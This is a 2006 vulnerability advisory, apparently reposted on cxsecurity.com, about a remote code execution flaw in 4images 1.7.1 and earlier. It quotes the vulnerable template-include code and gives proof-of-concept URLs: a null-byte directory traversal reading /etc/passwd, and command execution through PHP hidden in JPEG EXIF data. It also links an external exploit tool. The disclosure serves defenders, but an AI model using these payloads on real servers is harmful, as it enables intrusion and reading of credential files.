4images <=1.7.1 remote code execution

2006-03-01 / 2006-03-02
Credit: rgod
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other

CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

----------------- 4images <=1.7.1 remote code execution ------------------------ software: site: http://www.4homepages.de/ ------------------------------------------------------------------------ -------- i) vulnerable code in index.php at line 35-54: ... if (isset($HTTP_GET_VARS['template']) || isset($HTTP_POST_VARS['template'])) { $template = (isset($HTTP_GET_VARS['template'])) ? stripslashes(trim($HTTP_GET_VARS['template'])) : stripslashes(trim($HTTP_POST_VARS['template'])); if (!file_exists(TEMPLATE_PATH."/".$template.".".$site_template->template_e xtension)) { $template = ""; } else { $main_template = $template; } } else { $template = ""; } include(ROOT_PATH.'includes/page_header.php'); if (!empty($template)) { $clickstream = "<a href="".$site_sess->url(ROOT_PATH."index.php")."">".$lang['home']."</a >".$config['category_separator'].str_replace("_", " ", ucfirst($template)); $site_template->register_vars("clickstream", $clickstream); $site_template->print_template($site_template->parse_template($main_temp late)); include(ROOT_PATH.'includes/page_footer.php'); } ... poc: http://[target]/[path]/index.php?template=../../../../../../../../../../ ../etc/passwd%00 This is regardless of magic_quotes_gpc settings because we have stripslashes on "template" argument (this is exploitable on PHP 4, because file_exists() function suffers of null char injection...) File comptemt is passed to an eval() in includes/template.php, so it is evaluated as php code. Also we can upload malicious php code through 4images functionalities inside a .jpg file with well crafted EXIF metadata comtempt. Example of remote code execution: http://[target]/[path]/index.php?cmd=ls%0-la&template=../../data/tmp_med ia/suntzu1293.jpg%00 a php exploit tool availiable here: http://retrogod.altervista.org/4images_171_incl_xpl.html ------------------------------------------------------------------------ -------- still a note about: http://secunia.com/advisories/19026/ Secunia wrote: "Input passed to the "template" parameter in "index.php" isn't properly verified, before it is used to include files. This can be exploited to include files having the template file extension (".html") from local resources via directory traversal attacks" and classified it as low risk... this is true on PHP5 but not on PHP4 where you can break the .html extension by a null char ------------------------------------------------------------------------ -------- rgod site: http://retrogod.altervista.org mail: rgod at autistici.org original advisory: http://retrogod.altervista.org/4images_171_adv.html ------------------------------------------------------------------------ --------

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com


Back to Top